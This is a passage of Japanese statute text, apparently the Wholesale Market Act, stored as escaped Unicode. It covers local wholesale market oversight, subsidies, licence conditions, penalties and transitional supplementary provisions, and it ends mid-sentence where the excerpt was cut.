\u3000\u7b2c\u4e09\u7bc0\u3000\u96d1\u5247\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u958b\u8a2d\u533a\u57df\u5185\u306e\u5730\u65b9\u5378\u58f2\u5e02\u5834\uff09\n\u7b2c\u516d\u5341\u4e03\u6761\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u8a31\u53ef\u306e\u7533\u8acb\u304c\u3042\u3064\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u305d\u306e\u7533\u8acb\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u958b\u8a2d\u533a\u57df\u5185\u306e\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u3082\u306e\u3067\u3042\u308b\u3068\u304d\u306f\u3001\u610f\u898b\u3092\u9644\u3057\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5831\u544a\u3057\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u610f\u898b\u3092\u6c42\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u958b\u8a2d\u533a\u57df\u5185\u306e\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u3064\u3044\u3066\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u8a31\u53ef\u3092\u3057\u305f\u3068\u304d\u3001\u53c8\u306f\u7b2c\u516d\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u51e6\u5206\uff08\u958b\u8a2d\u8005\u306b\u5bfe\u3059\u308b\u51e6\u5206\u306b\u9650\u308b\u3002\uff09\u3092\u3057\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u65e8\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5831\u544a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u898f\u5b9a\u3059\u308b\u4e8b\u9805\uff09\n\u7b2c\u516d\u5341\u516b\u6761\n\n\u3000\u3053\u306e\u7ae0\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u53ca\u3073\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u696d\u52d9\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u3078\u306e\u5831\u544a\u7b49\uff09\n\u7b2c\u516d\u5341\u4e5d\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306b\u5bfe\u3057\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u95a2\u3057\u5fc5\u8981\u306a\u5831\u544a\u82e5\u3057\u304f\u306f\u8cc7\u6599\u306e\u63d0\u51fa\u3092\u6c42\u3081\u3001\u53c8\u306f\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u884c\u653f\u306b\u95a2\u3057\u5fc5\u8981\u306a\u52a9\u8a00\u82e5\u3057\u304f\u306f\u52e7\u544a\u3092\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\n\n\n\u3000\u3000\u3000\u7b2c\u4e94\u7ae0\u3000\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u5be9\u8b70\u4f1a\n\n\n\u7b2c\u4e03\u5341\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\uff08\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u5be9\u8b70\u4f1a\uff09\n\u7b2c\u4e03\u5341\u4e00\u6761\n\n\u3000\u90fd\u9053\u5e9c\u770c\u306f\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306e\u8aee\u554f\u306b\u5fdc\u3058\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u95a2\u3059\u308b\u4e8b\u9805\u305d\u306e\u4ed6\u5378\u58f2\u5e02\u5834\u306b\u95a2\u3059\u308b\u91cd\u8981\u4e8b\u9805\u3092\u8abf\u67fb\u5be9\u8b70\u3055\u305b\u308b\u305f\u3081\u3001\u6761\u4f8b\u3067\u3001\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u5be9\u8b70\u4f1a\u3092\u7f6e\u304f\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u5be9\u8b70\u4f1a\u306e\u7d44\u7e54\u53ca\u3073\u904b\u55b6\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\u3000\u3000\u3000\u7b2c\u516d\u7ae0\u3000\u96d1\u5247\n\n\n\uff08\u52a9\u6210\uff09\n\u7b2c\u4e03\u5341\u4e8c\u6761\n\n\u3000\u56fd\u306f\u3001\u7b2c\u516b\u6761\u7b2c\u4e00\u53f7\u53c8\u306f\u7b2c\u4e8c\u53f7\u306b\u8a72\u5f53\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u53c8\u306f\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3057\u3066\u3044\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u57fa\u3065\u304d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u65bd\u8a2d\u306e\u6539\u826f\u3001\u9020\u6210\u53c8\u306f\u53d6\u5f97\u3092\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u5f53\u8a72\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306b\u5bfe\u3057\u3001\u4e88\u7b97\u306e\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u65bd\u8a2d\u306e\u3046\u3061\u5efa\u7269\u3001\u6a5f\u68b0\u8a2d\u5099\u7b49\u306e\u91cd\u8981\u306a\u65bd\u8a2d\u306e\u6539\u826f\u3001\u9020\u6210\u53c8\u306f\u53d6\u5f97\u306b\u8981\u3059\u308b\u8cbb\u7528\u306e\u5341\u5206\u306e\u56db\u4ee5\u5185\u3092\u88dc\u52a9\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u56fd\u53ca\u3073\u90fd\u9053\u5e9c\u770c\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u53c8\u306f\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306e\u9054\u6210\u306e\u305f\u3081\u306b\u5fc5\u8981\u306a\u52a9\u8a00\u3001\u6307\u5c0e\u3001\u8cc7\u91d1\u306e\u878d\u901a\u306e\u3042\u3064\u305b\u3093\u305d\u306e\u4ed6\u306e\u63f4\u52a9\u3092\u884c\u306a\u3046\u3088\u3046\u306b\u52aa\u3081\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\u7b2c\u4e03\u5341\u4e09\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\uff08\u6761\u4f8b\u3068\u306e\u95a2\u4fc2\uff09\n\u7b2c\u4e03\u5341\u56db\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306f\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u304c\u3001\u5378\u58f2\u5e02\u5834\u3067\u3042\u3064\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u53ca\u3073\u5730\u65b9\u5378\u58f2\u5e02\u5834\u4ee5\u5916\u306e\u3082\u306e\u306e\u958b\u8a2d\u53c8\u306f\u5f53\u8a72\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u696d\u52d9\u306b\u95a2\u3057\u3001\u6761\u4f8b\u3067\u5fc5\u8981\u306a\u898f\u5236\u3092\u884c\u306a\u3046\u3053\u3068\u3092\u59a8\u3052\u308b\u3082\u306e\u3067\u306f\u306a\u3044\u3002\n\n\n\n\uff08\u8a31\u53ef\u53c8\u306f\u8a8d\u53ef\u306e\u5236\u9650\u53c8\u306f\u6761\u4ef6\uff09\n\u7b2c\u4e03\u5341\u4e94\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u53c8\u306f\u8a8d\u53ef\u306b\u306f\u3001\u5236\u9650\u53c8\u306f\u6761\u4ef6\u3092\u9644\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u5236\u9650\u53c8\u306f\u6761\u4ef6\u306f\u3001\u8a31\u53ef\u53c8\u306f\u8a8d\u53ef\u306b\u4fc2\u308b\u4e8b\u9805\u306e\u78ba\u5b9f\u306a\u5b9f\u65bd\u3092\u56f3\u308b\u305f\u3081\u5fc5\u8981\u306a\u6700\u5c0f\u9650\u5ea6\u306e\u3082\u306e\u306b\u9650\u308a\u3001\u304b\u3064\u3001\u8a31\u53ef\u53c8\u306f\u8a8d\u53ef\u3092\u53d7\u3051\u305f\u8005\u306b\u4e0d\u5f53\u306a\u7fa9\u52d9\u3092\u8ab2\u3059\u308b\u3053\u3068\u3068\u306a\u3089\u306a\u3044\u3082\u306e\u3067\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u90fd\u9053\u5e9c\u770c\u304c\u51e6\u7406\u3059\u308b\u4e8b\u52d9\u7b49\uff09\n\u7b2c\u4e03\u5341\u516d\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u898f\u5b9a\u3059\u308b\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u6a29\u9650\u306b\u5c5e\u3059\u308b\u4e8b\u52d9\u306e\u4e00\u90e8\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u304c\u884c\u3046\u3053\u3068\u3068\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u898f\u5b9a\u3059\u308b\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u6a29\u9650\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u305d\u306e\u4e00\u90e8\u3092\u5730\u65b9\u8fb2\u653f\u5c40\u9577\u306b\u59d4\u4efb\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\n\n\u3000\u3000\u3000\u7b2c\u4e03\u7ae0\u3000\u7f70\u5247\n\n\n\u7b2c\u4e03\u5341\u4e03\u6761\n\n\n\u3000\u6b21\u306e\u5404\u53f7\u306e\u4e00\u306b\u8a72\u5f53\u3059\u308b\u8005\u306f\u3001\u4e8c\u5e74\u4ee5\u4e0b\u306e\u61f2\u5f79\u82e5\u3057\u304f\u306f\u4e8c\u767e\u4e07\u5186\u4ee5\u4e0b\u306e\u7f70\u91d1\u306b\u51e6\u3057\u3001\u53c8\u306f\u3053\u308c\u3092\u4f75\u79d1\u3059\u308b\u3002\n\u4e00\n\n\u3000\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3064\u305f\u8005\n\n\u4e8c\n\n\u3000\u507d\u308a\u305d\u306e\u4ed6\u4e0d\u6b63\u306e\u624b\u6bb5\u306b\u3088\u308a\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\n\n\u4e09\n\n\u3000\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u547d\u4ee4\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\u56db\n\n\u3000\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e8c\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u547d\u4ee4\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\u4e94\n\n\u3000\u7b2c\u4e03\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u4ed8\u3055\u308c\u305f\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u5236\u9650\u53c8\u306f\u6761\u4ef6\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\n\n\n\u7b2c\u4e03\u5341\u516b\u6761\n\n\n\u3000\u6b21\u306e\u5404\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u8005\u306f\u3001\u4e00\u5e74\u4ee5\u4e0b\u306e\u61f2\u5f79\u82e5\u3057\u304f\u306f\u767e\u4e07\u5186\u4ee5\u4e0b\u306e\u7f70\u91d1\u306b\u51e6\u3057\u3001\u53c8\u306f\u3053\u308c\u3092\u4f75\u79d1\u3059\u308b\u3002\n\u4e00\n\n\u3000\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u3066\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3057\u305f\u8005\n\n\u4e8c\n\n\u3000\u507d\u308a\u305d\u306e\u4ed6\u4e0d\u6b63\u306e\u624b\u6bb5\u306b\u3088\u308a\u7b2c\u5341\u4e09\u6761\u306e\u4e94\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\n\n\u4e09\n\n\u3000\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u3066\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3064\u305f\u8005\n\n\u56db\n\n\u3000\u507d\u308a\u305d\u306e\u4ed6\u4e0d\u6b63\u306e\u624b\u6bb5\u306b\u3088\u308a\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\n\n\u4e94\n\n\u3000\u7b2c\u516d\u5341\u4e94\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u547d\u4ee4\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\u516d\n\n\u3000\u7b2c\u4e03\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u4ed8\u3055\u308c\u305f\u7b2c\u5341\u4e09\u6761\u306e\u4e94\u7b2c\u4e00\u9805\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u53c8\u306f\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u5236\u9650\u53c8\u306f\u6761\u4ef6\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\n\n\n\u7b2c\u4e03\u5341\u4e5d\u6761\n\n\n\u3000\u6b21\u306e\u5404\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u8005\u306f\u3001\u4e94\u5341\u4e07\u5186\u4ee5\u4e0b\u306e\u7f70\u91d1\u306b\u51e6\u3059\u308b\u3002\n\u4e00\n\n\u3000\u7b2c\u4e8c\u5341\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5831\u544a\u3092\u305b\u305a\u3001\u53c8\u306f\u865a\u507d\u306e\u5831\u544a\u3092\u3057\u305f\u8005\n\n\u4e8c\n\n\u3000\u7b2c\u4e8c\u5341\u56db\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u5c4a\u51fa\u3092\u305b\u305a\u3001\u53c8\u306f\u865a\u507d\u306e\u5c4a\u51fa\u3092\u3057\u305f\u8005\n\n\u4e09\n\n\u3000\u7b2c\u4e8c\u5341\u516d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\u56db\n\n\u3000\u7b2c\u4e8c\u5341\u516b\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u4e8b\u696d\u5831\u544a\u66f8\u3092\u63d0\u51fa\u305b\u305a\u3001\u53c8\u306f\u865a\u507d\u306e\u8a18\u8f09\u3092\u3057\u305f\u4e8b\u696d\u5831\u544a\u66f8\u3092\u63d0\u51fa\u3057\u305f\u8005\n\n\u4e94\n\n\u3000\u7b2c\u4e09\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\u516d\n\n\u3000\u7b2c\u56db\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5831\u544a\u3092\u305b\u305a\u3001\u82e5\u3057\u304f\u306f\u8cc7\u6599\u306e\u63d0\u51fa\u3092\u305b\u305a\u3001\u82e5\u3057\u304f\u306f\u865a\u507d\u306e\u5831\u544a\u3092\u3057\u3001\u82e5\u3057\u304f\u306f\u865a\u507d\u306e\u8cc7\u6599\u3092\u63d0\u51fa\u3057\u3001\u53c8\u306f\u691c\u67fb\u3092\u62d2\u307f\u3001\u59a8\u3052\u3001\u82e5\u3057\u304f\u306f\u5fcc\u907f\u3057\u305f\u8005\n\n\u4e03\n\n\u3000\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e09\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u547d\u4ee4\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\n\n\n\u7b2c\u516b\u5341\u6761\n\n\n\u3000\u6b21\u306e\u5404\u53f7\u306e\u4e00\u306b\u8a72\u5f53\u3059\u308b\u8005\u306f\u3001\u4e09\u5341\u4e07\u5186\u4ee5\u4e0b\u306e\u7f70\u91d1\u306b\u51e6\u3059\u308b\u3002\n\u4e00\n\n\u3000\u7b2c\u56db\u5341\u516b\u6761\u7b2c\u4e8c\u9805\u53c8\u306f\u7b2c\u516d\u5341\u516d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u5831\u544a\u3092\u305b\u305a\u3001\u82e5\u3057\u304f\u306f\u8cc7\u6599\u3092\u63d0\u51fa\u305b\u305a\u3001\u82e5\u3057\u304f\u306f\u865a\u507d\u306e\u5831\u544a\u3092\u3057\u3001\u82e5\u3057\u304f\u306f\u865a\u507d\u306e\u8cc7\u6599\u3092\u63d0\u51fa\u3057\u3001\u53c8\u306f\u691c\u67fb\u3092\u62d2\u307f\u3001\u59a8\u3052\u3001\u82e5\u3057\u304f\u306f\u5fcc\u907f\u3057\u305f\u8005\n\n\u4e8c\n\n\u3000\u7b2c\u516d\u5341\u6761\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u3066\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u5ec3\u6b62\u3057\u305f\u8005\n\n\n\n\n\u7b2c\u516b\u5341\u4e00\u6761\n\n\n\u3000\u6cd5\u4eba\u306e\u4ee3\u8868\u8005\u53c8\u306f\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u4eba\u306e\u4ee3\u7406\u4eba\u3001\u4f7f\u7528\u4eba\u305d\u306e\u4ed6\u306e\u5f93\u696d\u8005\u304c\u3001\u305d\u306e\u6cd5\u4eba\u53c8\u306f\u4eba\u306e\u696d\u52d9\u306b\u95a2\u3057\u3001\u7b2c\u4e03\u5341\u4e03\u6761\u304b\u3089\u524d\u6761\u307e\u3067\u306e\u9055\u53cd\u884c\u70ba\u3092\u3057\u305f\u3068\u304d\u306f\u3001\u884c\u70ba\u8005\u3092\u7f70\u3059\u308b\u307b\u304b\u3001\u305d\u306e\u6cd5\u4eba\u53c8\u306f\u4eba\u306b\u5bfe\u3057\u3066\u5404\u672c\u6761\u306e\u7f70\u91d1\u5211\u3092\u79d1\u3059\u308b\u3002\n\n\n\n\u7b2c\u516b\u5341\u4e8c\u6761\n\n\n\u3000\u6b21\u306e\u5404\u53f7\u306e\u4e00\u306b\u8a72\u5f53\u3059\u308b\u8005\u306f\u3001\u4e09\u5341\u4e07\u5186\u4ee5\u4e0b\u306e\u904e\u6599\u306b\u51e6\u3059\u308b\u3002\n\u4e00\n\n\u3000\u7b2c\u4e8c\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u3066\u540c\u9805\u306e\u5199\u3057\u3092\u5099\u3048\u3066\u7f6e\u304b\u305a\u3001\u53c8\u306f\u6b63\u5f53\u306a\u7406\u7531\u304c\u306a\u3044\u306e\u306b\u540c\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u95b2\u89a7\u3092\u62d2\u3093\u3060\u8005\n\n\u4e8c\n\n\u3000\u7b2c\u4e09\u5341\u6761\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u305f\u8005\n\n\n\n\n\u7b2c\u516b\u5341\u4e09\u6761\n\n\n\u3000\u7b2c\u4e09\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u9055\u53cd\u3057\u305f\u8005\u306f\u3001\u5341\u4e07\u5186\u4ee5\u4e0b\u306e\u904e\u6599\u306b\u51e6\u3059\u308b\u3002\n\n\n\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u6708\u3092\u3053\u3048\u306a\u3044\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\u305f\u3060\u3057\u3001\u7b2c\u4e8c\u5341\u4e03\u6761\u306e\u898f\u5b9a\u306f\u662d\u548c\u56db\u5341\u4e03\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u3001\u7b2c\u56db\u7ae0\uff08\u3053\u308c\u306b\u4fc2\u308b\u7f70\u5247\u3092\u542b\u3080\u3002\uff09\u306e\u898f\u5b9a\u306f\u516c\u5e03\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e5d\u6708\u3092\u3053\u3048\u306a\u3044\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6cd5\u306e\u5ec3\u6b62\uff09\n\u7b2c\u4e8c\u6761\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6cd5\uff08\u5927\u6b63\u5341\u4e8c\u5e74\u6cd5\u5f8b\u7b2c\u4e09\u5341\u4e8c\u53f7\u3002\u4ee5\u4e0b\u300c\u65e7\u6cd5\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u5ec3\u6b62\u3059\u308b\u3002\n\n\n\n\uff08\u958b\u8a2d\u533a\u57df\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e94\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u65e7\u6cd5\u7b2c\u4e00\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u6307\u5b9a\u3055\u308c\u3066\u3044\u308b\u540c\u9805\u306e\u6307\u5b9a\u533a\u57df\u306f\u3001\u7b2c\u4e03\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u6307\u5b9a\u3055\u308c\u305f\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u958b\u8a2d\u533a\u57df\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u65e2\u8a2d\u306e\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u516d\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u65e7\u6cd5\u7b2c\u4e8c\u6761\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3066\u958b\u8a2d\u3055\u308c\u3066\u3044\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\uff08\u4ee5\u4e0b\u300c\u65e2\u8a2d\u5e02\u5834\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u7b2c\u516b\u6761\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3066\u958b\u8a2d\u3055\u308c\u305f\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3068\u307f\u306a\u3059\u3002\n\n\uff12\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u52b9\u529b\u3092\u6709\u3059\u308b\u65e2\u8a2d\u5e02\u5834\u306e\u696d\u52d9\u898f\u7a0b\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e5d\u6708\u3092\u7d4c\u904e\u3059\u308b\u65e5\uff08\u305d\u306e\u65e5\u307e\u3067\u306b\u6b21\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u7533\u8acb\u306b\u5bfe\u3059\u308b\u540c\u9805\u306e\u8a8d\u53ef\u306e\u51e6\u5206\u304c\u3042\u3064\u305f\u65e2\u8a2d\u5e02\u5834\u306b\u3042\u3064\u3066\u306f\u3001\u5f53\u8a72\u8a8d\u53ef\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u65e5\u3001\u305d\u306e\u65e5\u307e\u3067\u306b\u540c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u7533\u8acb\u306b\u5bfe\u3059\u308b\u540c\u9805\u306e\u8a8d\u53ef\u53c8\u306f\u8a8d\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u304c\u306a\u304b\u3064\u305f\u65e2\u8a2d\u5e02\u5834\u306b\u3042\u3064\u3066\u306f\u3001\u5f53\u8a72\u8a8d\u53ef\u53c8\u306f\u8a8d\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u304c\u3042\u3064\u305f\u65e5\uff08\u5f53\u8a72\u8a8d\u53ef\u306e\u51e6\u5206\u304c\u3042\u3064\u305f\u65e5\u5f8c\u306b\u5f53\u8a72\u8a8d\u53ef\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u3082\u306e\u306b\u3042\u3064\u3066\u306f\u3001\u305d\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u65e5\uff09\u307e\u3067\u306f\u3001\u7b2c\u4e09\u7ae0\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u696d\u52d9\u898f\u7a0b\u3068\u307f\u306a\u3059\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u696d\u52d9\u898f\u7a0b\u3068\u540c\u7ae0\u306e\u898f\u5b9a\u304c\u62b5\u89e6\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u5f53\u8a72\u62b5\u89e6\u3059\u308b\u90e8\u5206\u306b\u3064\u3044\u3066\u306f\u3001\u540c\u7ae0\u306e\u898f\u5b9a\u306f\u3001\u9069\u7528\u3057\u306a\u3044\u3002\n\n\uff13\n\u3000\u65e2\u8a2d\u5e02\u5834\u3092\u958b\u8a2d\u3057\u3066\u3044\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\